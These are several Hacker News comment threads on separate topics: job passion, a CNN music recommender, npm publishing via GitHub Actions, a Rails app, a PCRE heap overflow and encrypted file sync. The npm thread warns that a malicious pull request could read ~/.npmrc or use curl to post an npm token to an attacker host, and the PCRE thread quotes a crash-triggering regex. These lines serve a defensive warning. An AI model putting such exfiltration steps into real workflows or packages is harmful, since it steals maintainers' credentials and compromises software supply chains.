82% aren't passionate about their work - <AUTHOR> http://blog.rypple.com/2010/10/82-arent-passionate-about-their-work/

<comment><USER2> This makes me consider:

1\. Being able (or expected) to enjoy your work is a relatively new thing in human society.

2\. There's a set amount of people who will be passionate (or not) about their work no matter what, and for these people it's more about personalities or culture. I am thrilled to do software development, but I would also be thrilled to work in a coffee store. I'd also be thrilled to make pizzas all day, every day, or to push carts around a parking lot all day and help old people load their groceries. I've loved every job I've ever had, from landscaping to tutoring. How do the "Me's" factor in to this percent?

So I wonder two things:

How many people would say they are passionate about their work 100 years ago? 200? 300?

What are the bounds that it can reasonably be? In other words, whats the least and most it could reasonably be in a population? Even if everyone were farming serfs, whats the % going to look like? Will it be around 82%? More? Less?

I have a strong suspicion (cultural?) attitude and economic conditions (are you being taken care of? good food/healthcare/places to go?) has a lot more to do with it than anything else.

<comment><USER3> >1\. Being able (or expected) to enjoy your work is a relatively new thing in human society.

I don't know how true this is, one of Marx's key criticism of Capitalism was the idea that, under capitalism, workers were alienated from their work, because they were unable to find true autonomy and determinism in what they did, nor reap the true value of what they produced. So I don't think the concept that work should also be fulfilling is entirely new, if Marx was lamenting its demise over 100 years ago.

<comment><USER4> 100 years is very recent in human history. And enjoying your work seems to be a very Western idea. My Chinese immigrant father is resigned to finding his career as an electrical engineer boring and meaningless, for example.

</comment></comment></comment><comment><USER5> Sorry for the self promotion, but I wrote a blog post that is related to this discussion about passion for work. The post is a reflection on my own thought process, as I transitioned from academia to starting my own company (and creating a custom career that I would be passionate about). For convenience, here is some relevant text from my post:

"The way that we choose careers is strange. We often choose a career based on opportunism (e.g., expected salary) or fear (e.g., what family may think). The result is that we end up in a place that's not fully satisfying. That we pick careers in a haphazard manner is stunning given the fact that we spend nearly 100,000 hours working over our lifetimes.

So if opportunism or fear are not the best ways to choose a career, then what's a better approach? I believe three main factors should drive a choice of career. The first factor is goals. What are your short-, medium- and long- term goals in life? And it's very important to think about goals beyond just your career. The second factor is pleasure. What activities do you derive real enjoyment from? The third and final factor is skill or expertise. Where do your innate and learned skills and talents lie?

Consider a Venn diagram comprised of these three factors — goals, pleasures, and skills — and a fulfilling career likely resides at the center.

Finding a career at the center of this Venn diagram is simple in theory, but difficult in practice. The first challenge is to overcome inertia, moving beyond opportunism or fear as your selection criteria. The second challenge is managing and balancing other commitments in your life, such as financial or family obligations. The third challenge is to know yourself deeply. It's surprising how few people take the time to truly understand their goals, pleasures, and skills. The fourth challenge is to identify a career that aligns to these three factors. Many careers will satisfy one factor, some two, but few will satisfy all three. For some people there may be no established career path that aligns to all three factors, which means you have to create a "custom" career.

How does one learn about their goals, pleasures, and skills, and a matching career? Through a process of contemplation, trial and error, and growth. You must contemplate and be deliberate in your actions, but allow your perspective to evolve over time, as you attain more experience in work and life. You must try a lot of different things to learn about yourself and how you respond to different activities and settings. As you hone your understanding of yourself, you must undertake deliberate practice within a specific domain for an extended period to advance your expertise and skill. Imagine starting your working life at the top of a funnel, and as you contemplate, experiment, and grow, you move down the funnel, and towards a better understanding of yourself and an ideal career."

(<http://www.fernstrategy.com/2010/09/18/choosing-your-career/>)

<comment><USER6> You make an interesting implicit association between passion and satisfaction.

> The result is that we end up in a place that's not fully satisfying.

For you, you've decided that you want to be passionate about your career, and that would satisfy you. Does that always have to be the case though? Maybe some people would be completely satisfied with their work if they work in a nice and comfortable place, with people they enjoy being with, and not too much stress. They have a pleasant day at work, then get to come home and do whatever they are really passionate about.

I know that here, in the entrepreneur crowd, that someone will suggest that those people need to "figure out how to monetize their passion." Yes, sometimes that's true. Sometimes, I think people just want to enjoy their hobby or whatever, not try to make money at it. If I love model plane building and flying, that doesn't mean I would love to open a hobby shop, or run model plane building classes or whatever.

I think there are a lot of cases where people can be satisfied in their work, in that it is both enjoyable and that it provides for their other passions. I think that's an ok state to reach too.

</comment></comment><comment><USER7> This article doesn't even come close to suggesting a solution to the problem.

As entrepreneurs, I think we overestimate the amount of people that look to their jobs as a way to reach fulfillment in their lives. Many people just see their job as a way to pay the mortgage, feed the family, or as a way to fund their hobbies and passions.

I always struggle to believe that all jobs could find passionate people. For businesses of a sizable scale, can you really find 10,000 passionate insurance adjusters or tax auditors. They may be good at their jobs, and they make care about the quality of work and their professionalism, but are they truly passionate about it?

If the whole world wanted to be passionate about their jobs, most of the mundane services we need to operate as a society would probably fall apart.

<comment><USER8> "This article doesn't even come close to suggesting a solution to the problem"

It's a two paragraph blog, what do you think it's going to do?

<comment><USER7> Totally agree, but what's the point of posting some statistic without some discussion about the context, relevance, accuracy, etc? Just for sensational linkbait?

</comment></comment></comment><comment><USER9> see, when an employer starts talking about how they want an employee with "passion" I assume they want a gullible employee who is willing to work more for less pay.

Granted, I want employees who will work more for less pay, too; I mean, who doesn't? but the problem, I think, with asking for and selecting for "passion" is that most employers talk about dedication _to the company_ which, I think, usually leads to getting employees who are willing to fake it. I mean, we all know what the score is. The company is going to get rid of you as soon as you are no longer useful (just like you are going to leave if you feel you can get better working conditions elsewhere.)

I think that the sort of employee who tells you what you want to hear instead of what they actually think is incredibly destructive, and I think quite often that is what you get when you select for "passion" as in company loyalty.

I think you can even turn an honest employee into a yes man and vis-a-vis by responding positively or negatively to criticism. (the hard part is when the guy has a point, but it's not really a priority. yes you say "Good point and I agree, but we don't have time to fix that right now" but you can only say that so many times before it starts sounding like "shut up and get back to work, kid.")

I think selecting for people who are passionate about the technology they work with or about their skill with that technology is a fine thing; but I think it's a very dangerous thing to tell business people to select for because they will select for (apparent) loyalty/passion for the company, which I think is usually a net negative.

</comment><comment><USER10> For another point of view:

<http://head-nurse.blogspot.com/2009/05/fuck-passion.html>

<comment><USER11> That post sounds kind of bitter, maybe a bad day? In any case, it's possible to be passionate while not being flaky or unreliable. In my world at least, passion is what keeps me paying attention to the details, coming in to work on time and interested in what I'm doing.

I guess my definition of "passion" is quite different to that used by this person.

</comment></comment><comment><USER12> Is this really an issue? Why not just try to benchmark job _performance_ instead of citing this ill-defined (and worse—self-reported) survey? If two people both do the exact same job and the same level of performance, and one claims to be more passionate than the other, does that really matter? This is essentially the philosophical zombie argument.

<comment><USER13> I'm not sure how realistic your counter-example is. If I have two workers, one passionate about her job, the other disinterested and bored by it, is it really realistic to expect that the latter's output will never suffer because of their attitude compared to the former?

That would seem to fly in the face of our basic understanding of human psychology and intrinsic motivational factors. It's like the old canard about the "goodness" of a man who spends his life doing only good deeds while thinking only evil thoughts. Humans don't work like that.

<comment><USER14> There are quite a few factors that affect productivity besides passion: education, experience, concentration, deep thinking intelligence, quick thinking intelligence, and so on. All else being equal, it would be plausible to suggest that the passionate beats the disinterested one but in practice things are rarely equal.

</comment></comment></comment><comment><USER15> I bet 70+ percent of people aren't passionate about anything, period.

<comment><USER16> That's probably because they haven't experienced enough things in life. This world is huge with so many different opportunities.

People who appear dispassionate, are not always so. There are people who are passionate about serving their family. Or maybe some sport say football. They have to find a way to channel their passion to their careers. I admit passion is not enough, you need talents but that's again about channeling passion in the right way.

Of course, there would always be some people who would be physically (biologically?) incapable of feeling passion. But I don't think that is the norm.

<comment><USER15> I guess I never considered people passionate about TV sports/shows. Shouldn't write people off just because they don't have my preferences.

</comment></comment></comment><comment><USER17> 140 pages reduced to a six word headline, impressive. Can someone clue me in on where to look for this 82% stat? My keyword search mostly turned up 1982.

edit: I see for 2008 we have a 20% passionate stat overall. 18% firm employed, but 43% self employed are passionate. But I guess maybe that doesn't make a good headline.

</comment><comment><USER18> I think Microsoft could ignite the passion among employees by delegating the _ownership_ of product development. And Google by allowing employees to work on 20% of their time on _personal_ projects.

<comment><USER19> Spending the 20% time on personal projects would essentially just be letting your employees take an extra day a week off, with the same pay.

</comment></comment><comment><USER18> I think <http://en.wikipedia.org/wiki/Intrapreneur> type of work culture may help.</comment>


Building a Music Recommender with Deep Learning - <AUTHOR> http://mattmurray.net/building-a-music-recommender-with-deep-learning/ <comment><USER2> Very cool! One minor nitpick -- the author mentions that this is 'completely unsupervised'. It's true that the author didn't need to manually classify the data, but someone did.

So, I believe that this is actually supervised learning, as the author is training a classifier on preexisting labels (the genres).

I believe that unsupervised learning would not make use of a target variable at all. If the network architecture terminated at the fully connected layer, and then propagated that layer backwards to reconstruct the input (something like Contrastive Divergence), that would be an unsupervised method.

<comment><USER3> You're correct of course. But it's cool that you can learn a useful embeddings (in this case into a 128-dimensional space) with only relative few (in this case 9) binary labels.

<comment><USER4> I'd love to see an analysis of what exactly these embeddings represent concerning the musical features of a sound snippet.

</comment></comment></comment><comment><USER5> In my opinion, the results are not quite exciting as they might seem like at the first glance. The hip-hop and minimal house classification perform almost randomly (the random classifier would have accuracy of 50%). The claim of music genre subjectivity is not fully appropriate for the categories used in this work: the presented genres are quite distinct, and they have objective differences. Knowing only BMP and rhythm structure of the tracks would be sufficient to classify most of the mentioned genres. Also, the article lacks of critical analysis of the results. The network may not have learned to analyze structural properties of the music; if this is true, than what is it classifying exactly? An averaged spectral envelope or spectral distribution? In this case the network will fail if you feed a filtered music piece into it. There is a nice paper on issues like these called "A Simple Method to Determine if a Music Information Retrieval System is a Horse", you may want to check it out: [https://www.researchgate.net/publication/265645782](https://www.researchgate.net/publication/265645782)

I understand this is an educational project, but nevertheless it's published, hence open for critics ;)

Edit: small style corrections.

<comment><USER6> "The hip-hop and minimal house classification perform almost randomly (the random classifier would have accuracy of 50%). " You are assuming that this is a series of binary classifiers. It is multiclass classification, so the base rate for nine classes is 11%.

<comment><USER7> If the classes are balanced, that is. Without knowing the distribution of the classes it is difficult to understand if the result is good or not.

<comment><USER8> The author downloaded 1000 tracks from each class, so they are evenly distributed.

</comment></comment></comment></comment><comment><USER9> > It did a really good job classifying trance music while at the other end of > the scale was hip hop / R&B with 61%, which is still almost 6 times better > than randomly assigning a genre to the image. I suspect that there's some > crossover between hip hop, breakbeat and dancehall and that might have > resulted in a lower classification accuracy.

The first step to analyze this is to make a confusion matrix, [1]. It would be nice if the article included it.

[1] [https://en.wikipedia.org/wiki/Confusion_matrix](https://en.wikipedia.org/wiki/Confusion_matrix)

</comment><comment><USER10> This is interesting, but fairly easy to confuse. Esp. would be interesting to see what results come up when you use modified "artistic" spectographs like that of Windowlicker by Aphex Twin [1]. One thing I've learned from years of having worked with audio and images is that image representations of audio are horrible representations of it (other than for temporal changes).

The results are good though! Good work! :D

[1] [http://twistedsifter.com/2013/01/hidden-images-embedded- into...](http://twistedsifter.com/2013/01/hidden-images-embedded-into-songs- spectrographs/)

<comment><USER11> > ...image representations of audio are horrible representations of it (other > than for temporal changes).

Yes, and thus the reason why the classifier was so good at recognizing trance...it's one of the few genres that locks in at around 144bpm.

<comment><USER12> What would be a better representation?

</comment></comment></comment><comment><USER13> The greatest value of a music recommendation engine, IMO, is cross-genre discovery.

The history of recording industry "Genres" has close ties to cultural segregation. Pandora's Music Genome approach is optimized to break the genre barrier.

It'd be interesting to see how many "Down tempo" songs shared characteristics with "R&B", for example. I think the Author's approach could still be applied.

</comment><comment><USER14> Wow thanks for sharing + reading my blog post! I did this for my final project on the Data Science bootcamp at Metis [1] this spring.

[1] [https://www.thisismetis.com/](https://www.thisismetis.com/)

<comment><USER15> This is a really cool project. The hardest part of DJing is knowing which set of songs have similar sonic profiles, and would mix well together. I would love to see this put to use in personal music collections, or in a Traktor playlist, and be able to sort songs by their similarity.

</comment></comment><comment><USER9> > Wouldn't it be cool if you could discover music that was released a few > years ago that sounds similar to a new song that you like?

Perhaps. But of course, this is likely to put the user literally into an "echo chamber" :)

<comment><USER16> Yeah, sorry, old-timer here. I loathe "genres" and strip them off my purchased music.

Is R.E.M. "Alternative", "Rock", "College"? Maybe you consider an album like "Reckoning" from R.E.M. "Rock" but then it includes a track like "Rockville" that is perhaps "Country"?

Genre makes sense for "Soundtrack" or perhaps "Classical"? But beyond that it's just mental gymnastics.

And given how fondness for music is qualitative, I've always been suspect of any sort of algorithm that tries to recommend music based on fast-Fourier- transforms. Maybe AI isn't for everything....

</comment></comment><comment><USER17> Site is overloaded, cached version

[http://webcache.googleusercontent.com/search?q=cache:http://...](http://webcache.googleusercontent.com/search?q=cache:http://mattmurray.net/building- a-music-recommender-with-deep-learning/)

</comment><comment><USER18> Highly recommended further reading:

[http://benanne.github.io/2014/08/05/spotify- cnns.html](http://benanne.github.io/2014/08/05/spotify-cnns.html) (Recommending music on Spotify with deep learning) uses CNNs trained on spectrograms + similarity data from collaborative-filtering to predict per- song vectors.

</comment><comment><USER19> Interesting. You didn't specify, I'm guessing you did 3x3 convolutions on the spectrographs? Also, how did you choose the convolution size, number of conv/pooling layers, etc? Did you consider asymmetric convolution/pooling layers to account for the differences between the frequency and time dimensions?

There are a number of interesting directions you could go with that data set. One interesting possibility is to make a convolutional autoencoder, then use that to apply "deep dreaming" filters to music. Another interesting evolution would be to handle the frequency dimension using a 1D convolution, and run a RNN on top of that to deal with time.

</comment><comment><USER20> Music recommendation is a relatively easy problem on one level, and a huge problem on another. If you are recommending music to a neophyte of a certain genre, we've clearly been able to do this for awhile in a way that has real value. But if you're trying to recommend music for someone who is an expert/aficionado of a certain genre, this inevitably annoys that sort of person. For the 2nd type of recommendation, it's hard to provide results of actual interest. Instead, you wind up getting recommendations for pale imitations of things you like. The 2nd problem might require something close to hard sentient AI to accomplish.

</comment><comment><USER21> This is pretty cool. Maybe I'm missing something, but what's the point in the initial genre training?

He's taking 185000 samples, and finding similar "looking" samples elsewhere in other songs, and then making recommendations based on that. I don't see what that could possibly have to do with genre labels, unless we're under the assumption that finding a match between a Drum & Bass song and one that seems similar with a tag of Trance is somehow a bad match? (which very well could be the case, but seems like a big assumption to make off the bat)

Are these recommendations silo'd to the current genre or are they allowed to span genres?

</comment><comment><USER22> Very cool post! :) "Simple" method (good ol' spectrograms, and something people can realistically actually reproduce without requiring a GPU farm), and great results!

</comment><comment><USER23> That's not how you build a recommendation engine... You build a recommendation engine by creating an embedding from each song from which user prefers them, as you would for words in word to vec. This is how Amazon and Youtube do it.

[https://static.googleusercontent.com/media/research.google.c...](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45530.pdf)

<comment><USER24> Couldn't you view the output of the last layer of the convnet used as the embedding in this case? Yes, this was a different approach than leveraging user preferences, but I don't see why this is inherently the wrong approach.

</comment></comment><comment><USER25> This music CNN classifier could be used to match songs that mix (transition) well together, having similar textures.

<comment><USER26> Within one song: _Infinite Gangnam Style_ | [https://news.ycombinator.com/item?id=4709472](https://news.ycombinator.com/item?id=4709472)

Within one arbitrary song (Inifinite Jukebox - no longer working?): [http://labs.echonest.com/Uploader/index.html](http://labs.echonest.com/Uploader/index.html)

[https://www.reddit.com/r/infinitejukebox/comments/4cmr4f/met...](https://www.reddit.com/r/infinitejukebox/comments/4cmr4f/meta_on_october_1_you_will_no_longer_be_able_to/)

</comment></comment><comment><USER27> This is interesting.

My first thought was to wonder how a LSTM would do. Once might think it would be a better representation for music? There's some models which use convolutional layers along with a LSTM for video representation (eg [1]) and it would be interesting to see if convolutions are useful for capturing similar themes of music.

I wonder if one could build a music embedding (word2vec style) and use similarities in the embedding space as recommendations? The obvious objective function would be skip-gram, but there might be more interesting objectives there too.

[1] [https://github.com/loliverhennigh/Convolutional-LSTM-in- Tens...](https://github.com/loliverhennigh/Convolutional-LSTM-in-Tensorflow)

<comment><USER28> An architecture like WaveNet could also be interesting here: [https://deepmind.com/blog/wavenet-generative-model-raw- audio...](https://deepmind.com/blog/wavenet-generative-model-raw-audio/) (HN thread: [https://news.ycombinator.com/item?id=12455510](https://news.ycombinator.com/item?id=12455510))

</comment></comment><comment><USER29> LeCun recently griped about this topic w/rt classical music on GooglePlay,

[https://www.facebook.com/photo.php?fbid=10154605399547143](https://www.facebook.com/photo.php?fbid=10154605399547143)

> Don't you guys realize that putting everything from Monteverdi to Bach, > Mozart, Beethoven, Brahms, Moussorgsky, Stravinsky, and Bernstein in the > same "Classical" bucket makes no sense?

> (Particularly when you have ultra fine-grained categories for popular > music!)

Any comments about that?

</comment><comment><USER30> My understanding of convolutions is that it's a way of extracting patterns from images. To convert audio into an image and then create convolutions from that seems... convoluted, if you will. I imagine a better way would be to think of what the equivalent of a convolution would be in the audio space? I.e. noise detection, treble/bass filters, etc.?

<comment><USER28> Convolution is generic signal-processing. It's quite common to use a one- dimensional convolution for audio filters, it would work perfectly fine as a bass filter for example.

However, 2D conv+maxpool is an image processing technique that gets you translation invariance. Fine for the time dimension of the spectrogram, but rather dubious for the frequency axis. Surely you'd want to distinguish if some feature happens at a high or low frequency?

<comment><USER31> > Fine for the time dimension of the spectrogram, but rather dubious for the > frequency axis.

MFCCs[1] are exactly that, a type of convolution along the frequency axis of a Fourier transform, and are highly apt features for music classification tasks.

It makes sense if you think of timbre as a time-varying relationship between the harmonics of a single pitch; translation invariance along the frequency axis can tell you that you there are partials typical e.g. of a guitar or of a flute, without caring what particular pitch those instruments are playing. And timbre is a bigger source of variety in popular music than e.g. the particular notes used.

[1] [https://en.wikipedia.org/wiki/Mel- frequency_cepstrum](https://en.wikipedia.org/wiki/Mel-frequency_cepstrum)

</comment></comment></comment><comment><USER32> Why trying to do it via A.I.?

Why not checking which are the top 3 most played songs by other users who are the 1000 users who have the most similarity with the current user, and then recommend the current user the most played songs from the 1000 similar users that the current user has not listened to yet.

As far as I can see this would be superior to any existing A.I. recommendation algorithm.

<comment><USER22> What you're describing is also an "A.I". It's called collaborative filtering, and your algorithm (picking top 3 of the 1000 most similar users) would give results heavily biased towards popular songs, there are better approaches in that field.

<comment><USER32> Yes, all algorithms are A.I. in that case.

My 1 min effort description would be biased towards popular songs, but you can easily change that by selecting songs that are not popular, but that occupy a lot of playtime with a user.

</comment></comment></comment><comment><USER33> Warning: this comment has little to do with the article, beyond being a rant on the approach taken by all recommendation engines I've seen.

This an interesting approach, but the objective is similar to most recommendation engines: "Find me something similar to something I like". Sometimes that's a good requirement (e.g. when trying to queue up the next song in a playlist, it's good to have some similarity to the song you're currently listening to). However, when trying to discover new music it's generally a bad approach; since (depending how the requirement is tackled) you'll get recommendations that tend towards some median; i.e.:

      - Other songs by the same artist
      - Songs by artists who have collaborated with the current artist
      - Popular songs (i.e. if almost everyone has a Beetles album in their playlist, getting "people who bought this also bought" recommendations for anything would list Beetles, since technically that's true; it's just uninteresting.
      - Songs in the same genre
      - Songs with a similar sound / structure

i.e. it tends to list things which you're likely to be aware of anyway. Also this means you'll get lots of songs with little variety between them; making your playlists monotonous.

What I'd be really interested in seeing was an engine which finds things on the peripheral; i.e. figures out the things that are likely to appeal to you because of the more unique things you're interested in; or the popular things that you dislike. That way you're likely to get a more eclectic mix of suggestions, and broaden your musical awareness. This would likely produce a lot more false positives initially, as it's expanding your taste range rather than narrowing in on some "ideal" average, so may stray into unknowns; but once you've heard and rated something in this new area, that data can quickly feedback into the algorithm and thus you learn of things you'd previously never have discovered.

<comment><USER34> > Popular songs (i.e. if almost everyone has a Beetles album in their > playlist, getting "people who bought this also bought" recommendations for > anything would list Beetles

I've been learning recommendation engines by looking at peoples' Steam games libraries.

One feature of the data set is that many, many people own multiple versions of Counter-Strike as well as Team Fortress 2. So "a high number people who bought [almost any game] also bought Counter-Strike: Global Operations" is a recurring problem with a naive recommender.

What I've been learning how to do is weight recommendations by how 'surprising' they are, for want of a more accurate term. If 80% of people who own Game A also own Game B, but only 5% of the _total_ population owns Game B, then we should upweight that relationship.

<comment><USER35> I think 'serendipity' [1] is the most-used term in recommender systems to describe what you mean.

[1] [https://books.google.nl/books?id=_AfABAAAQBAJ&pg=PA258&lpg=P...](https://books.google.nl/books?id=_AfABAAAQBAJ&pg=PA258&lpg=PA258&dq=serendipity+machine+learning)

</comment></comment></comment><comment><USER36> hugged?

</comment><comment><USER37> Tangential: has anyone found anything that doesn't completely suck for recommending books? Goodread's recommendations are terrible.

<comment><USER38> Amazon tends to recommend things I like and the majority of the purchases have been because of their recommendations (good job Amazon, your software is doing it's job, raising sales). I think books and music are different though. Books have well defined categories. If I buy a pop-psych book, say "Blink", and then I am recommended "Peak: Secrets from the New Science of Expertise" it's pretty much going to be very likely I buy that too if I am interested in that subject.

If however I want recommendations for new Metal music, and my previous selection was Metallica then you play me some Megadeth, I am going to hate it and not be interested in it at all!

</comment></comment><comment><USER39> I'm having issues scrolling on your site

<comment><USER40> The page uses [https://github.com/galambalazs/smoothscroll-for- websites](https://github.com/galambalazs/smoothscroll-for-websites), which is terrible IMO. It hijacks left/right swipe in Chrome, for no real benefit.

</comment></comment><comment><USER41> There is a simple music recommender webapp shown in the video. From your model you got a python function that maps one song (e.g. by artist,title) to other songs. What is the fastest way to build this interactive webapp (for internal, experimental) use?

<comment><USER42> For internal/experimental/exploratory use, I like Jupyter [0].

0: [https://jupyter.org/](https://jupyter.org/)

<comment><USER41> I appreciate it I'm gonna try it soon</comment></comment></comment>


Publish NPM Package with GitHub Actions - <AUTHOR> https://juffalow.com/javascript/publish-npm-package-with-github-actions <comment><USER2> Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR:

        - name: Give me this person's NPM token
          run: cat ~/.npmrc

Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server.

A number of open source projects have been hacked this way in the past. This is why I keep my NPM publish entirely isolated from the Github repo. I review every PR that is submitted to me carefully, but don't want any chance of accidentally merging in a malicious PR that will compromise my NPM packages.

<comment><USER3> absolutely... I think Github should probably put a warning statement on any PRs that include changes to .github/ __

<comment><USER4> That would be good for the UI, but PRs that modify .github/workflows already never run the checks. I guess they could also modify your npm `scripts` to `cat .npmrc` but that's another issue.

</comment></comment></comment><comment><USER3> You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine...

[https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...](https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bddebc1)

<comment><USER5> I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH [https://attackershost.example/capture_secret](https://attackershost.example/capture_secret)

<comment><USER3> fair enough... separating build and publish actions, and using artifacts from one to the other can help limit exposure to just the publish yaml.

Though, one should be very leery of anything that touches certain paths... for the most part, I tent to use scripts/npm/ for anything run from package.json and would also watch out for any changes in .github/

It depends on a bit of due diligence. It's not any different than other CI/CD platforms in any meaningful way.

</comment></comment></comment><comment><USER6> Alternatively don't do anything like this and setup 2FA for your NPM account to prevent malicious publishes in the event of a compromise.

Another pleasant side effect is that 2FA prevents _accidental_ publishes too.

</comment><comment><USER7> I am looking forward to be able to publish Go modules too.

• [https://golang.org/doc/go1.13#modules](https://golang.org/doc/go1.13#modules)

• [https://sum.golang.org/](https://sum.golang.org/)

</comment><comment><USER8> Could something similar be used to publish an artifact to Pypi?

<comment><USER9> I really like the idea of automating this whole process. While not generic to publishing to pypi, I was playing around with this process in a toy repo I have, where it builds a Rust/Python package, creates a release on Github if I bump the version number, build the package and publishes it on Pypi.

It probably not the cleanest way to do it, but I liked having it "spelled out" in steps manually to play around and learn more about how to do this.

You can see my workflow in the toy repo here: [https://github.com/ikornaselur/img- utils/blob/master/.github...](https://github.com/ikornaselur/img- utils/blob/master/.github/workflows/release.yml)

<comment><USER3> since npm version creates a tag, I have an action for v* tags that will build/publish... have migrated a couple projects from travis-ci ... TFA is a bit mixed, you don't need to push to npmrc for this behavior though.

(I did post this link in direct thread, copied here)

[https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...](https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bddebc1)

<comment><AUTHOR> Yes, you do not need .npmrc for publishing. But I am using Yarn and it didn't work for me to just set NODE_AUTH_TOKEN :-(

<comment><USER3> It does work for `npm publish` ... I'd submit a bug with yarn, and/or github.

</comment></comment></comment></comment></comment><comment><USER10> Are GHAs like FaaS for Git?

<comment><USER11> Pretty much yes. Their build running machines are very powerful and loaded with lots of typical libraries. They specifically state that GHA should not be used as a general serverless compute platform in their TOS. I think that needs to be said because its perfectly capable of being a pretty robust FaaS platform in general- but certainly its totally valid to use as FaaS for git or anything that could be GitHub webhook, like PR comments, milestone updates, label creation, etc.</comment></comment>


Show HN: My first Rails app, LinkRawr, Twitter-esque way to find cool links - <AUTHOR>

I'm getting my feet wet in programming again and wanted to learn Rails. So I followed railstutorial.org (you'll recognize the similarity if you've gone through it yourself) and changed a few fields around and created LinkRawr, a simple site to find and share links. It's here: http://linkrawr.heroku.com
It works like Twitter, you follow others' links and people follow your links. You can follow me here: http://linkrawr.heroku.com/Justin
I created this over the past couple of days and I'm a relative newbie when it comes to programming, so it's far from a polished project, but I thought I'd share it with you all to see what you thought of the concept. In addition to posting links on LinkRawr, there's basic sharing on Twitter, Facebook, Instapaper and Delicious.
Part of my inspiration was John Gruber's linked lists on Daring Fireball. I thought it'd be interesting if everyone had a linked list commentary like he does.
I'd love to hear what you think about it! <comment><USER2> That's nice.Me too, i have an idea for a multiplayer web game and i want develop it using Rails,Do you recommend any framework,library that you have used?</comment>


PCRE Heap Overflow in Regex Processing Lets Users Execute Arbitrary Code - <AUTHOR> http://www.securitytracker.com/id/1032453

<comment><AUTHOR> I'm not that familiar with PCRE, but I think that this engine is used in a variety of programming languages -- but not Perl's, as it's used to provide Perl-compatible regex. PHP's Manual for PCRE links to pcre.org, so it seems that at least PHP is vulnerable.

[http://php.net/manual/en/intro.pcre.php](http://php.net/manual/en/intro.pcre.php)

Edit: Here's a copy of the actual CVE, which demonstrates the vulnerability using PHP: [http://www.openwall.com/lists/oss- security/2015/06/01/6](http://www.openwall.com/lists/oss- security/2015/06/01/6)

The CVE mentions that PCRE is used in Flash, Apache, and Nginx.

Edit2: Could a mod change the article url to the openwall CVE? It seems that securitytracker.com is not the most responsive website. Sorry, I should have linked to the CVE directly.

<comment><USER2> Anyone compiling regex strings in PHP from user input should take care to use preg_quote(): [http://php.net/manual/en/function.preg- quote.php](http://php.net/manual/en/function.preg-quote.php) Otherwise, you're in risky business trusting what a user could send you.

<comment><USER3> Especially since you could otherwise inject "/e" which turns the whole thing into an eval() !

<comment><USER4> SERIOUSLY!? eval() from regexes!?

Jebus... Just burn it all down, we're screwed.

<comment><USER5> From the documentation for regex modifiers: "DEPRECATED as of PHP 5.5.0 and REMOVED as of PHP 7.0.0". Not for much longer.

</comment></comment></comment></comment></comment><comment><USER6> If I'm reading this right, the exploit is in the regex compilation stage, not the data matching stage; therefore remote exploitation would require the server setup to compile attacker-provided regexps, not just setup to run attacker data through an admin-configured regexp?

If that's the case, a typical nginx/apache config shouldn't be remotely vulnerable, right? Though I could see some shared hosting scenarios having some issues.

<comment><USER7> Simple searches could be an issue, however.

</comment></comment><comment><USER8> I build nginx with PCRE, and I'm curious if this vulnerability would impact nginx in some way. My hope is that since nginx is using it internally and not accepting randomly-supplied regex strings, then there might be minimal impact. Can anybody with more knowledge of nginx + PCRE comment on this?

</comment><comment><USER9> I guess this means that regular expressions are Turing complete, at least until a patch arrives?

</comment><comment><USER10> If you take regex as user input, you should use RE2: [https://github.com/google/re2](https://github.com/google/re2)

Even without this vulnerability, some regexes can be painfully slow.

</comment><comment><USER11> Now you have three problems.

</comment><comment><USER12> A regular expression processing library seems like a great candidate for something that could be implemented in a "safe" language - Haskell, OCAML, (Rust?), etc.

</comment><comment><USER13> wow, I was expecting an odd looking, weird, larger regex, but look at this..

        /^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/

is that `WGXCREDITS` the command to execute?

<comment><USER14> What does that regex even match?

<comment><USER15> It is quite possible that the regex doesn't match anything useful. From the looks of it, I would say it was generated using a fuzzing tool, in much the same way as what lead to the discovery of the Shellshock vulnerability.

</comment></comment></comment><comment><USER16> What does this mean to someone with a public facing website that uses PHP w/ Apache or Nginx?

<comment><USER17> My guess is that nothing unless you let the user input REs. (Or use REs that can be modified by user input)

<comment><USER16> Thank you :)</comment></comment></comment>


Dropbox clone with git, ssh, EncFS and rsync.net - <AUTHOR>

We've been trying to solve this problem for longer than Dropbox has existed:  how can you maintain plaintext locally and ciphertext remotely, easily, with efficient changes-only (a la rsync) sync ?
We created a lot of half-working Truecrypt/Filevault/encfs schemes and fiddled with a lot of --partial --progress --whatever switches to rsync, but eventually we just told people to use duplicity[1][2] and call it a day.
Then Mr. Raymii came along and dropped this in our lap:
https://raymii.org/s/articles/Set_up_your_own_truly_secure_encrypted_shared_storage_aka_Dropbox_clone.html
The tl;dr there is:
"This article describes my truly secure, encrypted file synchronization service. It used EncFS and dvcs-autosync which lets me share only the encrypted data and mount that locally to get the plaintext."
... and we couldn't be happier.  Finally we (and anyone using rsync.net, or any ssh host with git on it) have an elegant way to sidestep the issues of trust and authority[3] over remote data on systems you don't control.
Enjoy! [4]
[1] http://duplicity.nongnu.org/
[2] ... and it's still a very good solution.
[3] http://www.rsync.net/resources/notices/canary.txt
[4] HN discount is 10c/GB/mo.  Just email us. <comment><USER2> Does this make any attempt to handle conflicts on files when changed on two offline hosts? I assume since it's based on Git it will just try to do merges that way, but how does it handle conflicts that can't be automatically resolved?

</comment><comment><USER3> You can do this with HashBackup too (I'm the author). There are sites using HB to backup terabytes of data. One of the larger sites has 25M files they backup every day.

      1. Copy ssh public key to rsync.net server:

      [jim@mb hbdev]$ scp ~/.ssh/id_rsa.pub firstname.lastname@example.com:.ssh/authorized_keys
      Password:
      id_rsa.pub
    			 100%  392     0.4KB/s   00:00

      2. Create a local HashBackup backup directory:

      [jim@mb hbdev]$ hb init -c hb
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Permissions set for owner access only
      Created key file /Users/jim/hbdev/hb/key.conf
      Key file set to read-only
      Setting include/exclude defaults: /Users/jim/hbdev/hb/inex.conf

